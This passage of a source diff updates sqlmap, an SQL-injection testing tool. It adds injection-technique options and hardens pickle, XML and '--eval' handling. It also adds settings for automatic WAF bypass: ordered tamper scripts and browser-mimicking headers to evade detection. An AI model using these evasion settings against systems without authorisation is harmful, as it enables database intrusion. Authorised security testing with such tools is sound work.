+
     if conf.uValues and conf.uChar:
         errMsg = "option '--union-values' is incompatible with option '--union-char'"
         raise SqlmapSyntaxException(errMsg)
@@ -2636,6 +2703,20 @@ def _basicOptionValidation():
         errMsg = "switch '--dump' is incompatible with switch '--search'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.alert and os.environ.get("SQLMAP_UNSAFE_ALERT") != '1':
+        errMsg = "for security reasons, to prevent execution of potentially malicious "
+        errMsg += "OS commands via configuration files or copy-paste attacks, "
+        errMsg += "the '--alert' option requires the environment variable "
+        errMsg += "'SQLMAP_UNSAFE_ALERT=1' to be explicitly set"
+        raise SqlmapSystemException(errMsg)
+
+    if conf.evalCode and os.environ.get("SQLMAP_UNSAFE_EVAL") != '1':
+        errMsg = "for security reasons, to prevent execution of potentially malicious "
+        errMsg += "Python code via configuration files or copy-paste attacks, "
+        errMsg += "the '--eval' option requires the environment variable "
+        errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
+        raise SqlmapSystemException(errMsg)
+
     if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
         errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'"
         raise SqlmapSyntaxException(errMsg)
@@ -2778,7 +2859,7 @@ def _basicOptionValidation():
         raise SqlmapSyntaxException(errMsg)
 
     if conf.csrfToken and conf.threads > 1:
-        errMsg = "option '--csrf-url' is incompatible with option '--threads'"
+        errMsg = "option '--csrf-token' is incompatible with option '--threads'"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.requestFile and conf.url and conf.url != DUMMY_URL:

lib/core/optiondict.py

@@ -63,6 +63,7 @@ optDict = {
         "safeReqFile": "string",
         "safeFreq": "integer",
         "skipUrlEncode": "boolean",
+        "skipXmlEncode": "boolean",
         "csrfToken": "string",
         "csrfUrl": "string",
         "csrfMethod": "string",
@@ -78,6 +79,7 @@ optDict = {
         "optimize": "boolean",
         "predictOutput": "boolean",
         "keepAlive": "boolean",
+        "noKeepAlive": "boolean",
         "nullConnection": "boolean",
         "threads": "integer",
     },
@@ -99,6 +101,7 @@ optDict = {
         "prefix": "string",
         "suffix": "string",
         "tamper": "string",
+        "proof": "boolean",
     },
 
     "Detection": {
@@ -115,6 +118,11 @@ optDict = {
 
     "Techniques": {
         "technique": "string",
+        "nosql": "boolean",
+        "graphql": "boolean",
+        "ldap": "boolean",
+        "xpath": "boolean",
+        "ssti": "boolean",
         "timeSec": "integer",
         "uCols": "string",
         "uChar": "string",
@@ -150,6 +158,7 @@ optDict = {
         "search": "boolean",
         "getComments": "boolean",
         "getStatements": "boolean",
+        "getProcs": "boolean",
         "db": "string",
         "tbl": "string",
         "col": "string",
@@ -234,6 +243,7 @@ optDict = {
         "postprocess": "string",
         "preprocess": "string",
         "repair": "boolean",
+        "reportJson": "string",
         "saveConfig": "string",
         "scope": "string",
         "skipHeuristics": "boolean",
@@ -267,10 +277,12 @@ optDict = {
     "Hidden": {
         "dummy": "boolean",
         "disablePrecon": "boolean",
+        "noHuffman": "boolean",
         "profile": "boolean",
         "forceDns": "boolean",
         "murphyRate": "integer",
         "smokeTest": "boolean",
+        "apiTest": "boolean",
     },
 
     "API": {

lib/core/patch.py

@@ -6,7 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import codecs
-import collections
+import difflib
 import inspect
 import logging
 import os
@@ -70,7 +70,8 @@ def dirtyPatches():
 
     # add support for inet_pton() on Windows OS
     if IS_WIN:
-        from thirdparty.wininetpton import win_inet_pton
+        from thirdparty.wininetpton.win_inet_pton import inject_into_socket
+        inject_into_socket()
 
     # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
     codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
@@ -84,7 +85,7 @@ def dirtyPatches():
         _http_client.LineAndFileWrapper.readline = _
 
     # to prevent too much "guessing" in case of binary data retrieval
-    thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
+    thirdparty.chardet.universaldetector.UniversalDetector.MINIMUM_THRESHOLD = 0.90
 
     match = re.search(r" --method[= ](\w+)", " ".join(sys.argv))
     if match and match.group(1).upper() != PLACE.POST:
@@ -101,7 +102,7 @@ def dirtyPatches():
 
     # Reference: https://github.com/sqlmapproject/sqlmap/issues/5929
     try:
-        global collections
+        import collections
         if not hasattr(collections, "MutableSet"):
             import collections.abc
             collections.MutableSet = collections.abc.MutableSet
@@ -139,7 +140,7 @@ def dirtyPatches():
     # Installing "reversible" unicode (decoding) error handler
     def _reversible(ex):
         if INVALID_UNICODE_PRIVATE_AREA:
-            return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
+            return (u"".join(_unichr(int('000f00%02x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
         else:
             return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
 
@@ -160,6 +161,77 @@ def dirtyPatches():
 
         logging._releaseLock = _releaseLock
 
+    from xml.etree import ElementTree as et
+    if not getattr(et, "_patched", False):
+        _real_parse = et.parse
+
+        def _safe_parse(source, parser=None):
+            if parser is None:
+                parser = et.XMLParser()
+                if hasattr(parser, "parser"):
+                    def reject(*args): raise ValueError("XML entities are forbidden")
+                    parser.parser.EntityDeclHandler = reject
+                    parser.parser.UnparsedEntityDeclHandler = reject
+
+            return _real_parse(source, parser=parser)
+
+        et.parse = _safe_parse
+        et._patched = True
+
+    import io
+    import pickle
+    if not getattr(pickle, "_patched", False):
+        class RestrictedUnpickler(pickle.Unpickler):
+            # Note: allowlist (not blacklist) - a module blacklist is bypassable (e.g. importlib/ctypes/operator), so only
+            # explicitly-safe builtin data types and sqlmap's own (and bundled) classes are permitted to be unpickled
+            def find_class(self, module, name):
+                # Note: protocol-2 pickling of a 'bytes' value on Python 3 emits a _codecs.encode global; allow that one
+                # (it only runs a codec, e.g. latin1 - it cannot execute arbitrary code) so serialized values containing
+                # bytes round-trip. Everything else from _codecs (e.g. lookup) stays blocked by the rule below.
+                if module == "_codecs" and name == "encode":
+                    pass
+                # safe builtin data types only (blocks eval/exec/__import__/getattr/etc.)
+                elif module in ("builtins", "__builtin__"):
+                    if name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType", "complex"):
+                        raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name))
+                # everything else must be one of sqlmap's own (or bundled) classes (e.g. lib.core.datatype.AttribDict)
+                elif (module or "").split(".")[0] not in ("lib", "plugins", "thirdparty"):
+                    raise ValueError("unpickling of module '%s' is forbidden" % module)
+
+                # Python 2/3 method resolution
+                if hasattr(pickle.Unpickler, "find_class"):
+                    return pickle.Unpickler.find_class(self, module, name)
+
+                __import__(module)
+                return getattr(sys.modules[module], name)
+
+        def _safe_loads(data):
+            try:
+                stream = io.BytesIO(data)
+            except TypeError:
+                stream = io.StringIO(data)
+
+            return RestrictedUnpickler(stream).load()
+
+        pickle.loads = _safe_loads
+        pickle._patched = True
+
+    try:
+        import cPickle
+        if not getattr(cPickle, "_patched", False):
+            cPickle.loads = pickle.loads
+            cPickle._patched = True
+    except ImportError:
+        pass
+
+    try:
+        import builtins
+    except ImportError:
+        import __builtin__ as builtins
+
+    if "enumerate" in difflib.__dict__ and difflib.enumerate is not builtins.enumerate:
+        difflib.enumerate = builtins.enumerate
+
 def resolveCrossReferences():
     """
     Place for cross-reference resolution

lib/core/readlineng.py

@@ -7,15 +7,21 @@ See the file 'LICENSE' for copying permission
 
 _readline = None
 try:
-    from readline import *
     import readline as _readline
 except:
     try:
-        from pyreadline import *
         import pyreadline as _readline
     except:
         pass
 
+if _readline:
+    _symbols = getattr(_readline, "__all__", None)
+    if _symbols is None:
+        _symbols = (name for name in dir(_readline) if not name.startswith("_"))
+
+    for _symbol in _symbols:
+        globals()[_symbol] = getattr(_readline, _symbol)
+
 from lib.core.data import logger
 from lib.core.settings import IS_WIN
 from lib.core.settings import PLATFORM

lib/core/replication.py

@@ -23,8 +23,11 @@ class Replication(object):
     """
 
     def __init__(self, dbpath):
+        self.dbpath = dbpath
+        self.connection = None
+        self.cursor = None
+
         try:
-            self.dbpath = dbpath
             self.connection = sqlite3.connect(dbpath)
             self.connection.isolation_level = None
             self.cursor = self.connection.cursor()
@@ -106,10 +109,12 @@ class Replication(object):
             """
             This function is used for selecting row(s) from current table.
             """
-            _ = 'SELECT * FROM %s' % self.name
+            query = 'SELECT * FROM "%s"' % self.name
             if condition:
-                _ += 'WHERE %s' % condition
-            return self.execute(_)
+                query += ' WHERE %s' % condition
+
+            self.execute(query)
+            return self.parent.cursor.fetchall()
 
     def createTable(self, tblname, columns=None, typeless=False):
         """
@@ -118,8 +123,17 @@ class Replication(object):
         return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless)
 
     def __del__(self):
-        self.cursor.close()
-        self.connection.close()
+        try:
+            if self.cursor is not None:
+                self.cursor.close()
+        except Exception:
+            pass
+
+        try:
+            if self.connection is not None:
+                self.connection.close()
+        except Exception:
+            pass
 
     # sqlite data types
     NULL = DataType('NULL')

lib/core/revision.py

@@ -22,43 +22,39 @@ def getRevisionNumber():
 
     retVal = None
     filePath = None
-    _ = os.path.dirname(__file__)
+    directory = os.path.dirname(__file__)
 
     while True:
-        filePath = os.path.join(_, ".git", "HEAD")
-        if os.path.exists(filePath):
+        candidate = os.path.join(directory, ".git", "HEAD")
+        if os.path.exists(candidate):
+            filePath = candidate
             break
-        else:
-            filePath = None
-            if _ == os.path.dirname(_):
-                break
-            else:
-                _ = os.path.dirname(_)
 
-    while True:
-        if filePath and os.path.isfile(filePath):
-            with openFile(filePath, "r") as f:
-                content = getText(f.read())
-                filePath = None
-
-                if content.startswith("ref: "):
-                    try:
-                        filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
-                    except UnicodeError:
-                        pass
-
-                if filePath is None:
-                    match = re.match(r"(?i)[0-9a-f]{32}", content)
-                    retVal = match.group(0) if match else None
-                    break
-        else:
+        parent = os.path.dirname(directory)
+        if parent == directory:
             break
+        directory = parent
+
+    if filePath:
+        with openFile(filePath, "r") as f:
+            content = getText(f.read()).strip()
+
+            if content.startswith("ref: "):
+                ref_path = content.replace("ref: ", "").strip()
+                filePath = os.path.join(directory, ".git", ref_path)
+
+                if os.path.exists(filePath):
+                    with openFile(filePath, "r") as f_ref:
+                        content = getText(f_ref.read()).strip()
+
+            match = re.match(r"(?i)[0-9a-f]{40}", content)
+            retVal = match.group(0) if match else None
 
     if not retVal:
         try:
-            process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+            process = subprocess.Popen(["git", "rev-parse", "--verify", "HEAD"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
             stdout, _ = process.communicate()
-            match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or ""))
+            match = re.search(r"(?i)[0-9a-f]{40}", getText(stdout or ""))
             retVal = match.group(0) if match else None
         except:
             pass

lib/core/settings.py

@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 
 import codecs
 import os
+import platform
 import random
 import re
 import string
@@ -19,7 +20,7 @@ from lib.core.enums import OS
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10"
+VERSION = "1.10.7.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -53,6 +54,38 @@ IPS_WAF_CHECK_RATIO = 0.5
 # Timeout used in heuristic check for WAF/IPS protected targets
 IPS_WAF_CHECK_TIMEOUT = 10
 
+# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean
+# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code
+# false positive) rather than the back-end actually answering.
+WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503)
+
+# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value
+# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS
+# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
+# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
+WAF_BYPASS_TAMPERS = (
+    "equaltolike",
+    "between",
+    "greatest",
+    "charencode",
+    "randomcase",
+    "space2comment",
+    "versionedkeywords",
+    "space2hash",
+)
+
+# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass
+WAF_BYPASS_MAX_TRIALS = 8
+
+# Browser-like request headers applied alongside the random (non-scanner) User-Agent during
+# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a
+# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just
+# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation.
+WAF_BYPASS_HTTP_HEADERS = (
+    ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
+    ("Accept-Language", "en-US,en;q=0.5"),
+)
+
 # Timeout used in checking for existence of live-cookies file
 LIVE_COOKIES_TIMEOUT = 120
 
@@ -61,7 +94,7 @@ LOWER_RATIO_BOUND = 0.02
 UPPER_RATIO_BOUND = 0.98
 
 # For filling in case of dumb push updates
-DUMMY_JUNK = "Aich8ooT"
+DUMMY_JUNK = "Phah5jue"
 
 # Markers for special cases when parameter values contain html encoded characters
 PARAMETER_AMP_MARKER = "__PARAMETER_AMP__"
@@ -121,7 +154,10 @@ PRECONNECT_CANDIDATE_TIMEOUT = 10
 PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP")
 
 # Identify WAF/IPS inside limited number of responses (Note: for optimization purposes)
-IDENTYWAF_PARSE_LIMIT = 10
+IDENTYWAF_PARSE_COUNT_LIMIT = 10
+
+# Identify WAF/IPS inside limited size of responses
+IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024
 
 # Maximum sleep time in "Murphy" (testing) mode
 MAX_MURPHY_SLEEP_TIME = 3
@@ -144,6 +180,29 @@ DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100
 # Regular expression used for extracting content from "textual" tags
 TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
 
+# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag
+# names and class/id attribute hooks), for structure-aware comparison of pages whose textual
+# content is dynamic but whose layout is stable
+STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>"
+STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
+STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
+
+# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike
+# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread
+# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when
+# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it
+# is a net slowdown, so it is gated by this size
+NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024
+
+# Coarse plausibility band for a NULL connection method's reported length, relative to the known
+# original page length (len(kb.originalPage)). A method is accepted only if its length falls within
+# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning
+# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band
+# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a
+# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches
+NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5
+NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0
+
 # Regular expression used for recognition of IP addresses
 IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"
 
@@ -190,6 +249,9 @@ MAX_TECHNIQUES_PER_VALUE = 2
 # In case of missing piece of partial union dump, buffered array must be flushed after certain size
 MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
 
+# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated)
+JSON_AGG_CHUNK_ROWS = 1000
+
 # Maximum size of cache used in @cachedmethod decorator
 MAX_CACHE_ITEMS = 1024
 
@@ -259,6 +321,7 @@ WEBSOCKET_INITIAL_TIMEOUT = 3
 PLATFORM = os.name
 PYVERSION = sys.version.split()[0]
 IS_WIN = PLATFORM == "nt"
+IS_PYPY = platform.python_implementation() == "PyPy"
 
 # Check if running in terminal
 IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
@@ -274,7 +337,7 @@ FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CO
 MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST")
-HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
+HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS")
 H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
@@ -292,12 +355,14 @@ EXTREMEDB_SYSTEM_DBS = ("",)
 FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
 RAIMA_SYSTEM_DBS = ("",)
 VIRTUOSO_SYSTEM_DBS = ("",)
+SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
+SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS")
 
 # Note: (<regular>) + (<forks>)
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
 MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks")
 PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss")
-ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
+ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8")
 SQLITE_ALIASES = ("sqlite", "sqlite3")
 ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet")
 FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
@@ -322,26 +387,29 @@ EXTREMEDB_ALIASES = ("extremedb", "extreme")
 FRONTBASE_ALIASES = ("frontbase",)
 RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis")
 VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
+SNOWFLAKE_ALIASES = ("snowflake",)
+SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner")
 
 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES)
+SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES)
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
 HOST_ALIASES = ("host",)
 
 # DBMSes with upper case identifiers
-UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE))
+UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE))
 
 # Default schemas to use (when unable to enumerate)
 H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
 VERTICA_DEFAULT_SCHEMA = "public"
 MCKOI_DEFAULT_SCHEMA = "APP"
 CACHE_DEFAULT_SCHEMA = "SQLUser"
+SPANNER_DEFAULT_SCHEMA = "default"
 
 # DBMSes where OFFSET mechanism starts from 1
 PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
@@ -420,7 +488,9 @@ ERROR_PARSING_REGEXES = (
     r"Code: \d+. DB::Exception: (?P<result>[^<>\n]*)",
     r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
     r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)",
-    r"(?P<result>query error: SELECT[^<>]+)"
+    r"(?P<result>query error: SELECT[^<>]+)",
+    r"(?P<result>(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)",
+    r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P<result>[^"]+)"'      # generic JSON error-message field (NoSQL document/REST back-ends)
 )
 
 # Regular expression used for parsing charset info from meta html headers
@@ -463,11 +533,38 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
 SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s"
 
 # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
-SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter")
+SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter")
 
 # Maximum number of threads (avoiding connection issues and/or DoS)
 MAX_NUMBER_OF_THREADS = 10
 
+# Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility)
+MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"
+
+# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
+KEYSET_MIN_ROWS = 1000
+
+# Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads)
+HUFFMAN_PROBE_LIMIT = 8
+
+# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently
+# biases the initial tree toward bytes that dominate real DBMS output (lowercase text, digits, common
+# identifier punctuation) so SHORT extractions don't pay the full balanced-tree depth before the online
+# frequency model warms up. Magnitude is small so genuine learned counts overtake it within a few dozen
+# characters (kept low-risk for uniform/hex columns: hex digits 0-9a-f are themselves favored here).
+HUFFMAN_PRIOR_WEIGHTS = {}
+for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (3, "_.-/@:,'")):
+    for _char in _chars:
+        HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight
+
+# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output
+# pool for their enumeration context, so later same-context items that share structure (e.g.
